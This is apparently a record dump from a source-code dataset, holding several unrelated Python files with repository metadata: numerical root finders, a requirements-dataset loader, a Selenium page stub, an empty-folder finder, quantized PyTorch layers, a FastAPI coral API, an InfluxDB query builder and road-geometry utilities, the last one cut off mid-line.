import numpy as np def dichotomy(f, a, b, epsilon=1.0e-5): """Tradional dichotomy to find a root of a function """ fa = f(a) while True: c = (a + b) / 2.0 if (b - a) <= epsilon: return c fc = f(c) if fc * fa < 0: b = c else: fa = fc a = c def find_n_roots(f, n, deltax, eps=1.0e-10): """ Warning! Don't make the deltax = 0.1 """ currentroot = 0 root = [] gox = 1.0e-5 b = f(gox) while currentroot < n: a = b b = f(gox) if (a * b) < 0: root.append(dichotomy(f, gox - deltax, gox, epsilon=eps)) currentroot = currentroot + 1 gox = gox + deltax return root def find_real_roots(f, endkz, startkz=0, deltakz=0.12, eps=1.0e-10): root = [] kz = startkz b = f(kz) while kz < endkz: a = b b = f(kz) if (a * b) < 0: root.append(dichotomy(f, kz - deltakz, kz, epsilon=eps)) kz = kz + deltakz return root def find_proj_roots(f, endk0, startk0 = 0.121, deltak0 = 0.12, eps=1.0e-10): root = [] k0 = startk0 b = f(k0) while k0 < endk0: a = b b = f(k0) if (a * b) < 0: root.append(dichotomy(f, k0 - deltak0, k0, epsilon=eps)) k0 = k0 + deltak0 return root def golden_section(f, a, b, epsilon=1.0e-10): c = a + 0.382 * (b - a) d = a + 0.618 * (b - a) while (b - a) > epsilon: if (abs(f(c))) < (abs(f(d))): a = c c = d d = a + 0.618 * (b - a) else: b = d d = c c = a + 0.382 * (b - a) return (b + a) / 2 def find_n_roots_for_small_and_big_q(f, qa, n, gox=0, deltax=0.024, eps=1.0e-10, peak1 = 0): currentroot = 0 root = [] @minus_cosqa(np.cos(qa)) def nf(x): return f(x) while currentroot < n: if abs(nf(gox)) > 0.9: a = gox while abs(nf(gox)) > 0.9: gox = gox + deltax b = gox peak2 = golden_section(nf, a, b, epsilon=eps) if(f(peak1) * f(peak2)) <= eps: mayberoot = dichotomy(f, peak1, peak2, epsilon=eps) if abs(f(mayberoot)) <= eps: root.append(mayberoot) currentroot = currentroot + 1 peak1 = peak2 gox = gox + deltax return root def find_real_roots_for_small_and_big_q(f, qa, deltax=0.024, eps=1.0e-10): root = [] gox = 0 peak1 = 0 @minus_cosqa(np.cos(qa)) def nf(x): return f(x) absnf = abs(nf(gox)) while True: if absnf > 0.9: a = gox while absnf > 0.9: gox = gox + deltax absnf = abs(nf(gox)) if absnf > 1.0e3: peak2 = gox if(f(peak1) * f(peak2)) <= 1.0e-8: root.append(dichotomy(f, peak1, peak2, epsilon=eps)) return root b = gox peak2 = golden_section(nf, a, b, epsilon=eps) if(f(peak1) * f(peak2)) <= 1.0e-8: mayberoot = dichotomy(f, peak1, peak2, epsilon=eps) root.append(mayberoot) peak1 = peak2 gox = gox + deltax absnf = abs(nf(gox)) def minus_cosqa(x): def minus(f): def wrapper(*args, **kargs): return f(*args, **kargs) - x return wrapper return minus def find_all_peaks(f, x_start, x_end, deltax=0.01, eps=1.0e-3, lastdata=[]): x = x_start peaks = [] if len(lastdata): a = 1 while x < x_end: if f(x) > 0.8: a = x while f(x) > 0.8: x = x + deltax if x >= x_end: break b = x peak = golden_section(f, a, b, epsilon=eps) fp = f(peak) if 0.99 < fp < 1.01: peaks.append(peak) x = x + deltax return peaks def secant(f, a, b, eps=1.0e-5): fa = f(a) fb = f(b) c = b - ((b - a) / (fb - fa)) * fb while True: if abs(b - a)<eps: return c else: c = b - ((b - a) / (fb - fa)) * f(b) a = b b = c fa = fb fb = f(b)

3,446

0

184

48736beda7d4c0758982c5077f882eea08929d77

5,342

py

Python

datasets/Dataset.py

UCLM-SIMD/MONRP

16b19ace0746365300b5d3d16f5dda8c3a196cf7

[ "MIT" ]

null

datasets/Dataset.py

UCLM-SIMD/MONRP

16b19ace0746365300b5d3d16f5dda8c3a196cf7

[ "MIT" ]

null

datasets/Dataset.py

UCLM-SIMD/MONRP

16b19ace0746365300b5d3d16f5dda8c3a196cf7

[ "MIT" ]

null

from pathlib import Path from typing import Dict import numpy as np import json import uuid class Dataset: """ Class used to load datasets as published in del Sagrado, José del Águila, Isabel M. Orellana, Francisco J. Multi-objective ant colony optimization for requirements selection. Empirical Software Engineering. Vol. 20(3). 2015. """ def __init__(self, dataset: str = "test", source_file: str = None, source_dict: Dict = None): """Loads dataset vectors depending on the dataset name. """ if source_file: with open(source_file) as json_file: # use filename as dataset id self.id = Path(source_file).stem json_data = json.load(json_file) self.load_from_dict(json_data) elif source_dict: self.id = uuid.uuid4().hex self.load_from_dict(source_dict) else: # if not source file->search dataset json in datasets folder self.id = dataset with open("datasets/"+dataset+".json") as json_file: json_data = json.load(json_file) self.load_from_dict(json_data) # normalize values calculating scaled satisfactions, costs and scores self.normalize() # simplify dependencies: if self.dependencies is not None: self.list_of_sons = self.dependencies.copy() # needed in feda_algorithm.py self.calculate_dependencies() def calculate_dependencies(self) -> None: """Given the list of dependencies, recursively stores dependencies of requirements, saving in each requirements index all the requirements that have to be included to satisfy the dependency restrictions. """ self.new_dependencies = {} # dependency = index_dependency+1 (starts from 1) for dep in range(len(self.dependencies)): if self.dependencies[dep] is not None: # if req has dependencies -> add them and launch aux fun for dep2 in self.dependencies[dep]: self.new_dependencies.setdefault(dep, []).append(dep2) self.aux_dependencies(dep, dep2) # store new dependencies non repeatedly: self.dependencies = np.empty(len(self.dependencies), dtype=object) for i in range(len(self.dependencies)): if i not in self.new_dependencies: self.dependencies[i] = None else: self.dependencies[i] = list( dict.fromkeys(self.new_dependencies[i])) def normalize(self) -> None: """Given the costs, importances and priorities, this method calculates the total satisfaction and score, and scales cost and satisfaction using min-max normalization """ num_pbis = len(self.pbis_cost) self.pbis_satisfaction = self.stakeholders_importances.dot( self.stakeholders_pbis_priorities) # now two escalation follows, based on # https://en.wikipedia.org/wiki/Feature_scaling#Rescaling_(min-max_normalization) # scale pbis cost in range [0-1] margin = 1 / num_pbis # used to avoid zeros diff = np.sum(self.pbis_cost) - np.min(self.pbis_cost) self.pbis_cost_scaled = (self.pbis_cost - np.min(self.pbis_cost) + margin) / (diff + margin) # scale pbis satisfaction in range[0-1] diff = np.sum(self.pbis_satisfaction) - np.min(self.pbis_satisfaction) self.pbis_satisfaction_scaled = ( self.pbis_satisfaction - np.min(self.pbis_satisfaction) + margin) / (diff + margin) # each pbi score is computed from the scaled versions of pbi satisfaction and cost self.pbis_score = self.pbis_satisfaction_scaled / self.pbis_cost_scaled

44.890756

132

0.629539

from pathlib import Path from typing import Dict import numpy as np import json import uuid class Dataset: """ Class used to load datasets as published in del Sagrado, José del Águila, Isabel M. Orellana, Francisco J. Multi-objective ant colony optimization for requirements selection. Empirical Software Engineering. Vol. 20(3). 2015. """ def __init__(self, dataset: str = "test", source_file: str = None, source_dict: Dict = None): """Loads dataset vectors depending on the dataset name. """ if source_file: with open(source_file) as json_file: # use filename as dataset id self.id = Path(source_file).stem json_data = json.load(json_file) self.load_from_dict(json_data) elif source_dict: self.id = uuid.uuid4().hex self.load_from_dict(source_dict) else: # if not source file->search dataset json in datasets folder self.id = dataset with open("datasets/"+dataset+".json") as json_file: json_data = json.load(json_file) self.load_from_dict(json_data) # normalize values calculating scaled satisfactions, costs and scores self.normalize() # simplify dependencies: if self.dependencies is not None: self.list_of_sons = self.dependencies.copy() # needed in feda_algorithm.py self.calculate_dependencies() def load_from_dict(self, source_dict: Dict) -> None: self.pbis_cost = np.array(source_dict["pbis_cost"]).astype(int) self.num_pbis = len(self.pbis_cost) self.stakeholders_importances = np.array( source_dict["stakeholders_importances"]).astype(int) self.stakeholders_pbis_priorities = np.array( source_dict["stakeholders_pbis_priorities"]).astype(int) if "dependencies" in source_dict: self.dependencies = np.array( source_dict["dependencies"], dtype=object) for x in range(len(self.dependencies)): if self.dependencies[x] is None: continue for y in range(len(self.dependencies[x])): self.dependencies[x][y] = int(self.dependencies[x][y]) else: self.dependencies = None def calculate_dependencies(self) -> None: """Given the list of dependencies, recursively stores dependencies of requirements, saving in each requirements index all the requirements that have to be included to satisfy the dependency restrictions. """ self.new_dependencies = {} # dependency = index_dependency+1 (starts from 1) for dep in range(len(self.dependencies)): if self.dependencies[dep] is not None: # if req has dependencies -> add them and launch aux fun for dep2 in self.dependencies[dep]: self.new_dependencies.setdefault(dep, []).append(dep2) self.aux_dependencies(dep, dep2) # store new dependencies non repeatedly: self.dependencies = np.empty(len(self.dependencies), dtype=object) for i in range(len(self.dependencies)): if i not in self.new_dependencies: self.dependencies[i] = None else: self.dependencies[i] = list( dict.fromkeys(self.new_dependencies[i])) def aux_dependencies(self, parent: int, child: int) -> None: # if no dependencies in child -> stop if self.dependencies[child] is None: return # for each dependency in child -> if it is already the parent or contained in parent -> stop for d in self.dependencies[child]: if (d == parent) or (d in self.new_dependencies[parent]): continue # if not -> add new dependency to parent list and recursively launch aux fun self.new_dependencies.setdefault(parent, []).append(d) self.aux_dependencies(parent, d) def normalize(self) -> None: """Given the costs, importances and priorities, this method calculates the total satisfaction and score, and scales cost and satisfaction using min-max normalization """ num_pbis = len(self.pbis_cost) self.pbis_satisfaction = self.stakeholders_importances.dot( self.stakeholders_pbis_priorities) # now two escalation follows, based on # https://en.wikipedia.org/wiki/Feature_scaling#Rescaling_(min-max_normalization) # scale pbis cost in range [0-1] margin = 1 / num_pbis # used to avoid zeros diff = np.sum(self.pbis_cost) - np.min(self.pbis_cost) self.pbis_cost_scaled = (self.pbis_cost - np.min(self.pbis_cost) + margin) / (diff + margin) # scale pbis satisfaction in range[0-1] diff = np.sum(self.pbis_satisfaction) - np.min(self.pbis_satisfaction) self.pbis_satisfaction_scaled = ( self.pbis_satisfaction - np.min(self.pbis_satisfaction) + margin) / (diff + margin) # each pbi score is computed from the scaled versions of pbi satisfaction and cost self.pbis_score = self.pbis_satisfaction_scaled / self.pbis_cost_scaled

1,433

0

54

3792bb295ce140fd83de2476bc2ef2dd61c51b3c

798

py

Python

04_Selenium/exercices/framework/pages/homePage.py

twiindan/selenium_lessons

798557e8f584f9e6655414c13f232017483f0439

[ "Apache-2.0" ]

null

04_Selenium/exercices/framework/pages/homePage.py

twiindan/selenium_lessons

798557e8f584f9e6655414c13f232017483f0439

[ "Apache-2.0" ]

null

04_Selenium/exercices/framework/pages/homePage.py

twiindan/selenium_lessons

798557e8f584f9e6655414c13f232017483f0439

[ "Apache-2.0" ]

1

2020-07-16T09:49:47.000Z

from exercices.solutions.framework.core.base import BasePage from exercices.solutions.framework.pages.newUserPage import newUserPage

24.9375

71

0.709273

from exercices.solutions.framework.core.base import BasePage from exercices.solutions.framework.pages.newUserPage import newUserPage class homePage(BasePage): url = 'https://forum-testing.herokuapp.com/v1.0/' _newUserLink = None _listUserLink = None _newForumMessageLink = None _listForumLink = None # Locate all the elements of the Home Page def locate_elements(self): pass # Navigate to the new user page def navigate_new_user_page(self): pass # Navigate to the new forum message page def navigate_new_forum_message_page(self): pass # Navigate to the user list def navigate_user_list_page(self): pass # Navigate to the forum message list def navigate_forum_messages_list_page(self): pass

139

501

23

6bfaf0bbaf4dbb45c5506ffcaa6481da16b4e9c0

48

py

Python

adet/utils/__init__.py

gist-ailab/uoais

fb42d9a96cd54daad61c956d8d9d65dd0ebef4c7

[ "BSD-2-Clause" ]

52

2021-09-26T05:06:01.000Z

2022-03-27T07:48:19.000Z

adet/utils/__init__.py

gist-ailab/uoais

fb42d9a96cd54daad61c956d8d9d65dd0ebef4c7

[ "BSD-2-Clause" ]

5

2021-10-12T00:39:45.000Z

2022-03-24T08:59:57.000Z

adet/utils/__init__.py

gist-ailab/uoais

fb42d9a96cd54daad61c956d8d9d65dd0ebef4c7

[ "BSD-2-Clause" ]

9

2021-09-27T11:59:31.000Z

2022-03-23T07:49:15.000Z

# from .post_process import detector_postprocess

48

0.875

# from .post_process import detector_postprocess

0

3e641f99e90f1c6c1550d7bfd5ada58210b9afba

586

py

Python

src/directory.py

emptyfolderfinder/emptyfolderfinder-py

6c6dbbb204fa9c0b8db318f5b7d001d0b5d791e3

[ "MIT" ]

null

src/directory.py

emptyfolderfinder/emptyfolderfinder-py

6c6dbbb204fa9c0b8db318f5b7d001d0b5d791e3

[ "MIT" ]

null

src/directory.py

emptyfolderfinder/emptyfolderfinder-py

6c6dbbb204fa9c0b8db318f5b7d001d0b5d791e3

[ "MIT" ]

null

import os from pathlib import Path

20.206897

54

0.622867

import os from pathlib import Path def check_directory(path): result = [] empty_dirs = [] p = Path(path) dirs = [x for x in p.iterdir() if x.is_dir()] files = [x for x in p.iterdir() if not x.is_dir()] if len(files) == 0 and len(dirs) == 0: result.append(path) return result for dir in dirs: empty_dirs = check_directory(dir.as_posix()) result = result + empty_dirs if len(empty_dirs) == len(dirs) and len(files) == 0: result.append(path) return result def delete_directories(dirs): for dir in dirs: os.rmdir(dir)

505

0

46

c9865590a677790e0075a322e7d3bd02271fcc17

3,828

py

Python

utils_class.py

nanocad-lab/geo

2eb324b07c7c92b84a123f3a158723a2e3a77730

[ "MIT" ]

1

2021-09-19T14:32:21.000Z

utils_class.py

nanocad-lab/geo

2eb324b07c7c92b84a123f3a158723a2e3a77730

[ "MIT" ]

null

utils_class.py

nanocad-lab/geo

2eb324b07c7c92b84a123f3a158723a2e3a77730

[ "MIT" ]

null

import torch import torch.nn as nn import torch.nn.functional as F import utils_functional ''' Custom layers for SC ''' class Conv2d_Add_Partial(nn.Conv2d): ''' SC Conv2d using partial binary add ''' def forward(self, input, prec=7, err=7, forward='1d_bin', generator='lfsr', z_unit=8, legacy=False, load_unit=8, load_wait_w=2, load_wait_a=2): ''' Arguments: prec: weight and activation precision to quantize to err: stream length in the form of 2**err forward: sc compute. Specifically how accumulation is done generator: stream generator z_unit: number of input channles to sum using OR accumulation when forward==yz_bin legacy: disable accelerated kernels load_unit: number of bits to load each time for progressive loading load_wait_w: number of cycles to wait between loading weights for progressive loading load_wait_a: number of cycles to wait between loading activations for progressive loading ''' input.data = utils_functional.quantize(input.data, prec=prec) self.weight.data = utils_functional.quantize(self.weight_org, prec=prec) out = utils_functional.conv2d_generic(input, self.weight, bit_length=2**err, padding=self.padding, stride=self.stride, forward=forward, generator=generator, legacy=legacy, z_unit=z_unit, load_unit=load_unit, load_wait_w=load_wait_w, load_wait_a=load_wait_a) return out class BatchNorm2d_fixed(nn.BatchNorm2d): ''' Quantized 2d batchnorm ''' class BatchNorm1d_fixed(nn.BatchNorm1d): ''' Quantized 1d batchnorm '''

41.16129

265

0.637147

import torch import torch.nn as nn import torch.nn.functional as F import utils_functional ''' Custom layers for SC ''' class Conv2d_Add_Partial(nn.Conv2d): ''' SC Conv2d using partial binary add ''' def __init__(self, *kargs, **kwargs): super(Conv2d_Add_Partial, self).__init__(*kargs, **kwargs) self.register_buffer('weight_org', self.weight.data.clone()) def forward(self, input, prec=7, err=7, forward='1d_bin', generator='lfsr', z_unit=8, legacy=False, load_unit=8, load_wait_w=2, load_wait_a=2): ''' Arguments: prec: weight and activation precision to quantize to err: stream length in the form of 2**err forward: sc compute. Specifically how accumulation is done generator: stream generator z_unit: number of input channles to sum using OR accumulation when forward==yz_bin legacy: disable accelerated kernels load_unit: number of bits to load each time for progressive loading load_wait_w: number of cycles to wait between loading weights for progressive loading load_wait_a: number of cycles to wait between loading activations for progressive loading ''' input.data = utils_functional.quantize(input.data, prec=prec) self.weight.data = utils_functional.quantize(self.weight_org, prec=prec) out = utils_functional.conv2d_generic(input, self.weight, bit_length=2**err, padding=self.padding, stride=self.stride, forward=forward, generator=generator, legacy=legacy, z_unit=z_unit, load_unit=load_unit, load_wait_w=load_wait_w, load_wait_a=load_wait_a) return out class BatchNorm2d_fixed(nn.BatchNorm2d): ''' Quantized 2d batchnorm ''' def __init__(self, *kargs, **kwargs): super(BatchNorm2d_fixed, self).__init__(*kargs, **kwargs) self.register_buffer('scale', None) def forward(self, x): out = F.batch_norm(x, self.running_mean, self.running_var, self.weight, self.bias, training=self.training) if self.training: mean = x.mean(dim=(0,2,3)) var = x.var(dim=(0,2,3), unbiased=False) else: mean = self.running_mean var = self.running_var if self.affine: weight = self.weight.data bias = self.bias.data else: weight = 1 bias = 0 w_n = weight/torch.sqrt(var + self.eps) b_n = bias - mean*weight/torch.sqrt(var + self.eps) w_n, self.scale = utils_functional.quantize_shift(w_n.detach()) b_n, _ = utils_functional.quantize_shift(b_n.detach(), self.scale) w_n = w_n.reshape(w_n.size(0),1,1) b_n = b_n.reshape(b_n.size(0),1,1) out.data = (x.data*w_n + b_n).to(out.dtype) return out class BatchNorm1d_fixed(nn.BatchNorm1d): ''' Quantized 1d batchnorm ''' def __init__(self, *kargs, **kwargs): super(BatchNorm1d_fixed, self).__init__(*kargs, **kwargs) self.register_buffer('scale', None) def forward(self, x): out = F.batch_norm(x, self.running_mean, self.running_var, self.weight, self.bias, training=self.training) if self.training: mean = x.mean(dim=(0)) var = x.var(dim=(0), unbiased=False) else: mean = self.running_mean var = self.running_var if self.affine: weight = self.weight.data bias = self.bias.data else: weight = 1 bias = 0 w_n = weight/torch.sqrt(var + self.eps) b_n = bias - mean*weight/torch.sqrt(var + self.eps) w_n, self.scale = utils_functional.quantize_shift(w_n) b_n, _ = utils_functional.quantize_shift(b_n, self.scale) out.data = (x.data*w_n + b_n).to(out.dtype) return out

2,062

0

130

d62a105eab4d7fcf7ae14ec1fe61bbdad0b4e98e

3,305

py

Python

corals-api.py

DevEliran/deep-sea-api

3562840f9d0fd0f4bb2edc89804f8709bb37d92d

[ "MIT" ]

null

corals-api.py

DevEliran/deep-sea-api

3562840f9d0fd0f4bb2edc89804f8709bb37d92d

[ "MIT" ]

null

corals-api.py

DevEliran/deep-sea-api

3562840f9d0fd0f4bb2edc89804f8709bb37d92d

[ "MIT" ]

null

from fastapi import FastAPI, Path, status from pydantic import BaseModel from fastapi.responses import JSONResponse from starlette.status import ( HTTP_200_OK, HTTP_404_NOT_FOUND, HTTP_409_CONFLICT ) from database import CoralDatabase, get_coral_by_catalog_number_db, \ get_coral_by_category_db, add_coral_to_db, update_coral_db, delete_coral_db from api_utils import api_reply app = FastAPI() db = CoralDatabase() @app.get("/") @app.get("/coral/{catalog_number}") @app.get("/coral-category/{coral_category}") @app.post("/new-coral/{catalog_number}") @app.put("/update-coral/{catalog_number}") @app.delete("/delete-coral/{catalog_number}")

32.722772

121

0.659002

from fastapi import FastAPI, Path, status from pydantic import BaseModel from fastapi.responses import JSONResponse from starlette.status import ( HTTP_200_OK, HTTP_404_NOT_FOUND, HTTP_409_CONFLICT ) from database import CoralDatabase, get_coral_by_catalog_number_db, \ get_coral_by_category_db, add_coral_to_db, update_coral_db, delete_coral_db from api_utils import api_reply app = FastAPI() db = CoralDatabase() class Coral(BaseModel): catalog_number: int data_provider: str scientific_name: str vernacular_name_category: str taxon_rank: str station: str observation_date: str latitude: str longitude: str depth: int @app.get("/") def root(): return JSONResponse({'message': "Welcome to Corals-API"}, status_code=HTTP_200_OK) @app.get("/coral/{catalog_number}") def get_coral_by_catalog_number(catalog_number: int = Path(None, description="Catalog Number of the coral to retrieve")): coral = get_coral_by_catalog_number_db(catalog_number) return api_reply(coral) @app.get("/coral-category/{coral_category}") def get_coral_by_category(coral_category: str = Path(None, description="Category of corals you want to retrieve")): corals = get_coral_by_category_db(coral_category) return api_reply(corals) @app.post("/new-coral/{catalog_number}") def create_coral(catalog_number: int, coral: Coral): if get_coral_by_catalog_number_db(catalog_number): return JSONResponse({'message': 'Catalog Number Already Exists'}, status_code=HTTP_409_CONFLICT) add_coral_to_db(catalog_number, coral.data_provider, coral.scientific_name, coral.vernacular_name_category, coral.taxon_rank, coral.station, coral.observation_date, coral.latitude, coral.longitude, coral.depth) return JSONResponse({'message': 'Coral Created Successfully'}, status_code=status.HTTP_201_CREATED) @app.put("/update-coral/{catalog_number}") def update_coral(catalog_number: str, coral: Coral): if not get_coral_by_catalog_number_db(catalog_number): return JSONResponse({'message': 'Coral Not Found'}, status_code=HTTP_404_NOT_FOUND) update_coral_db(catalog_number, coral.data_provider, coral.scientific_name, coral.vernacular_name_category, coral.taxon_rank, coral.station, coral.observation_date, coral.latitude, coral.longitude, coral.depth) return JSONResponse({'message': 'Coral Information Updated'}, status_code=status.HTTP_200_OK) @app.delete("/delete-coral/{catalog_number}") def delete_coral(catalog_number: str): if not get_coral_by_catalog_number_db(catalog_number): return JSONResponse({'message': 'Coral Not Found'}, status_code=HTTP_404_NOT_FOUND) delete_coral_db(catalog_number) return JSONResponse({'message': 'Coral Deleted Successfully'}, status_code=status.HTTP_200_OK)

2,259

223

155

35544107af096841bd233ad45b9e4391ff8f3e32

178

py

Python

{{ cookiecutter.repo_name }}/{{cookiecutter.project_slug}}/__init__.py

jakebrinkmann/waldo-jakebrinkmann

a625bff7ba9a3319968f7512d8bfa05408737dcf

[ "MIT" ]

null

{{ cookiecutter.repo_name }}/{{cookiecutter.project_slug}}/__init__.py

jakebrinkmann/waldo-jakebrinkmann

a625bff7ba9a3319968f7512d8bfa05408737dcf

[ "MIT" ]

null

{{ cookiecutter.repo_name }}/{{cookiecutter.project_slug}}/__init__.py

jakebrinkmann/waldo-jakebrinkmann

a625bff7ba9a3319968f7512d8bfa05408737dcf

[ "MIT" ]

null

22.25

61

0.702247

0

7fc20f8bcaf00f7d5d6c15cebba383ee4e7d8652

3,583

py

Python

influxalchemy/query.py

GerasimovRM/influxalchemy

c6527dc99f18f58da0d2f6602759be40f24d4b44

[ "MIT" ]

42

2016-08-16T11:36:10.000Z

2022-02-14T15:50:53.000Z

influxalchemy/query.py

GerasimovRM/influxalchemy

c6527dc99f18f58da0d2f6602759be40f24d4b44

[ "MIT" ]

10

2017-02-01T16:16:06.000Z

2022-01-21T23:25:22.000Z

influxalchemy/query.py

GerasimovRM/influxalchemy

c6527dc99f18f58da0d2f6602759be40f24d4b44

[ "MIT" ]

6

2016-10-26T13:10:21.000Z

2021-02-19T10:27:07.000Z

""" InfluxDB Query Object. """ import functools from influxalchemy import meta class InfluxDBQuery: """ InfluxDB Query object. entities (tuple): Query entities client (InfluxAlchemy): InfluxAlchemy instance expressions (tuple): Query filters groupby (str): GROUP BY string limit (int): LIMIT int """ def execute(self): """ Execute query. """ return self._client.bind.query(str(self)) def filter(self, *expressions): """ Filter query. """ expressions = self._expressions + expressions return InfluxDBQuery(self._entities, self._client, expressions=expressions) def filter_by(self, **kwargs): """ Filter query by tag value. """ expressions = self._expressions for key, val in sorted(kwargs.items()): expressions += (meta.TagExp.equals(key, val),) return InfluxDBQuery(self._entities, self._client, expressions=expressions) def group_by(self, groupby): """ Group query. """ return InfluxDBQuery( self._entities, self._client, self._expressions, groupby) def limit(self, limit): """ Limit query """ assert isinstance(limit, int) return InfluxDBQuery( self._entities, self._client, self._expressions, self._groupby, limit) @property def measurement(self): """ Query measurement. """ measurements = set(x.measurement for x in self._entities) return functools.reduce(lambda x, y: x | y, measurements) @property def _select(self): """ SELECT statement. """ selects = [] for ent in self._entities: # Entity is a Tag if isinstance(ent, meta.Tag): selects.append(str(ent)) # Entity is a Measurement else: try: for tag in self._client.tags(ent): selects.append(tag) for field in self._client.fields(ent): selects.append(field) # pylint: disable=broad-except except Exception: pass return selects or ["*"] @property def _from(self): """ FROM statement. """ return str(self.measurement) @property def _where(self): """ WHERE statement. """ for exp in self._expressions: yield "(%s)" % exp

27.775194

75

0.521909

""" InfluxDB Query Object. """ import functools from influxalchemy import meta class InfluxDBQuery: """ InfluxDB Query object. entities (tuple): Query entities client (InfluxAlchemy): InfluxAlchemy instance expressions (tuple): Query filters groupby (str): GROUP BY string limit (int): LIMIT int """ def __init__(self, entities, client, expressions=None, groupby=None, limit=None): # pylint: disable=too-many-arguments self._entities = entities self._client = client self._expressions = expressions or () self._groupby = groupby self._limit = limit def __str__(self): select = ", ".join(self._select) from_ = self._from where = " AND ".join(self._where) if any(where): iql = "SELECT %s FROM %s WHERE %s" % (select, from_, where) else: iql = "SELECT %s FROM %s" % (select, from_) if self._groupby is not None: iql += " GROUP BY %s" % self._groupby if self._limit is not None: iql += " LIMIT {0}".format(self._limit) return "%s;" % iql def __repr__(self): return str(self) def execute(self): """ Execute query. """ return self._client.bind.query(str(self)) def filter(self, *expressions): """ Filter query. """ expressions = self._expressions + expressions return InfluxDBQuery(self._entities, self._client, expressions=expressions) def filter_by(self, **kwargs): """ Filter query by tag value. """ expressions = self._expressions for key, val in sorted(kwargs.items()): expressions += (meta.TagExp.equals(key, val),) return InfluxDBQuery(self._entities, self._client, expressions=expressions) def group_by(self, groupby): """ Group query. """ return InfluxDBQuery( self._entities, self._client, self._expressions, groupby) def limit(self, limit): """ Limit query """ assert isinstance(limit, int) return InfluxDBQuery( self._entities, self._client, self._expressions, self._groupby, limit) @property def measurement(self): """ Query measurement. """ measurements = set(x.measurement for x in self._entities) return functools.reduce(lambda x, y: x | y, measurements) @property def _select(self): """ SELECT statement. """ selects = [] for ent in self._entities: # Entity is a Tag if isinstance(ent, meta.Tag): selects.append(str(ent)) # Entity is a Measurement else: try: for tag in self._client.tags(ent): selects.append(tag) for field in self._client.fields(ent): selects.append(field) # pylint: disable=broad-except except Exception: pass return selects or ["*"] @property def _from(self): """ FROM statement. """ return str(self.measurement) @property def _where(self): """ WHERE statement. """ for exp in self._expressions: yield "(%s)" % exp

790

0

80

e08eefad4432b67364fe41a8cc2b8d494cbdbd9c

17,559

py

Python

src/utils.py

kylejbrown17/PythonRoadways

438400c046db7ee52182de2fbea77f1b1b57de61

[ "MIT" ]

null

src/utils.py

kylejbrown17/PythonRoadways

438400c046db7ee52182de2fbea77f1b1b57de61

[ "MIT" ]

null

src/utils.py

kylejbrown17/PythonRoadways

438400c046db7ee52182de2fbea77f1b1b57de61

[ "MIT" ]

null

import numpy as np from scipy import interpolate import ezdxf import h5py from copy import copy from Roadways import * def NormalVectorToLineSegment(linepts, pt): """ linepts = np.array([[x1,x2],[y1,y2]]) pt.shape = (2,N) # can be single pt or multiple pts """ if pt.ndim == 1: pt = np.expand_dims(pt,1) base_pt = np.expand_dims(linepts[:,0],1) base_vec = np.expand_dims(linepts[:,1] - linepts[:,0],1) base_vec = base_vec / np.linalg.norm(base_vec) diff_vec = pt - base_pt normal = diff_vec - base_vec * base_vec.T.dot(diff_vec) return normal def NormalDisplacementFromLineSegment(linepts, pt): """ returns a positive or negative distance for each query point """ base_pt = np.expand_dims(linepts[:,0],1) base_vec = np.expand_dims(linepts[:,1] - linepts[:,0],1) base_vec = base_vec / np.linalg.norm(base_vec) diff_vec = pt - base_pt sign = np.sign(np.cross(diff_vec.T,base_vec.T)) dist = np.sqrt(np.sum((diff_vec - base_vec * base_vec.T.dot(diff_vec))**2,axis=0)) return sign * dist def SplitLineRecursive(linepts,i,j,THRESHOLD=5.0,ds_min=50.0): """ Choose best point at which to split a line to minimize total reprojection error """ max_err = np.max(ProjectionError(np.stack((linepts[:,i],linepts[:,j])).T, linepts[:,i:j])) if max_err < THRESHOLD: ds = np.cumsum(np.sqrt(np.sum(np.diff(linepts[:,i:j])**2,axis=0))) if ds[-1] > ds_min: k = i + np.argmin((ds - ds[-1]/2.)**2) + 1 return k else: return j errors1 = np.zeros(j-(i+1)) errors2 = np.zeros(j-(i+1)) max_errors1 = np.zeros(j-(i+1)) max_errors2 = np.zeros(j-(i+1)) for k in range(i+1,j): l1 = np.stack((linepts[:,i],linepts[:,k])).T l2 = np.stack((linepts[:,k],linepts[:,j])).T errors1[k-i-1] = np.sum(ProjectionError(l1, linepts[:,i+1:k])) / (k-i) errors2[k-i-1] = np.sum(ProjectionError(l2, linepts[:,k+1:j])) / (j-k) max_errors1[k-i-1] = np.max(ProjectionError(l1, linepts[:,i:k])) max_errors2[k-i-1] = np.max(ProjectionError(l2, linepts[:,k:j])) k = i+1 + np.argmin(errors1 + errors2) # max_err1 = np.max(max_errors1) # max_err2 = np.max(max_errors2) return k def FindBestLinearSplit(pts,i,j,THRESHOLD=1.0): """ Not working yet... """ max_err = np.max(ProjectionError(np.stack((pts[:,i],pts[:,j])).T, pts)) if max_err < THRESHOLD: return j errors1 = np.zeros(j-(i+1)) errors2 = np.zeros(j-(i+1)) max_errors1 = np.zeros(j-(i+1)) max_errors2 = np.zeros(j-(i+1)) for k in range(i+1,j): X1 = np.stack([pts[0,i:k],np.ones(k-i)]).T X2 = np.stack([pts[0,k:j],np.ones(j-k)]).T X = np.block([[X1,np.zeros_like(X1)],[np.zeros_like(X2),X2]]) Y = pts[1,i:j] params = np.linalg.inv(X.T.dot(X)).dot(X.T).dot(Y) Yhat = X.dot(params) l1 = np.stack([ [pts[0,i],Yhat[i]], [pts[0,k],Yhat[k]] ]).T l2 = np.stack([ [pts[0,k],Yhat[k]], [pts[0,j-1],Yhat[j-1]] ]).T errors1[k-i-1] = np.sum(ProjectionError(l1, pts[:,i+1:k])) / (k-i) errors2[k-i-1] = np.sum(ProjectionError(l2, pts[:,k+1:j])) / (j-k) max_errors1[k-i-1] = np.max(ProjectionError(l1, pts[:,i:k])) max_errors2[k-i-1] = np.max(ProjectionError(l2, pts[:,k:j])) k = i+1 + np.argmin(errors1 + errors2) max_err1 = np.max(max_errors1) max_err2 = np.max(max_errors2) return params, k def ComputeSplitIndices(curve,THRESHOLD=1.0,ds_min=50.0): """ Downsample a curve by greedy splitting until below reprojection error threshold """ explored = set() frontier = set() frontier.add((0,curve.pts.shape[1]-1)) while len(frontier) != 0: i,j = frontier.pop() if j - i <= 1: explored.add((i,j)) else: k = SplitLineRecursive(curve.pts,i,j,THRESHOLD=THRESHOLD,ds_min=ds_min) if k != j and i != j-1: frontier.add((i,k)) frontier.add((k,j)) else: explored.add((i,j)) idxs = sorted(list(set([i for idxs in explored for i in idxs]))) return idxs def UpSampleSplineCurve(curve, MAX_SEGMENT_LENGTH=5.0): """ Upsample """ unew = np.linspace(curve.u[0],curve.u[-1],100) out = interpolate.splev(unew,curve.tck) splineX = out[0]; splineY = out[1]; dS = np.sqrt(np.diff(splineX)**2 + 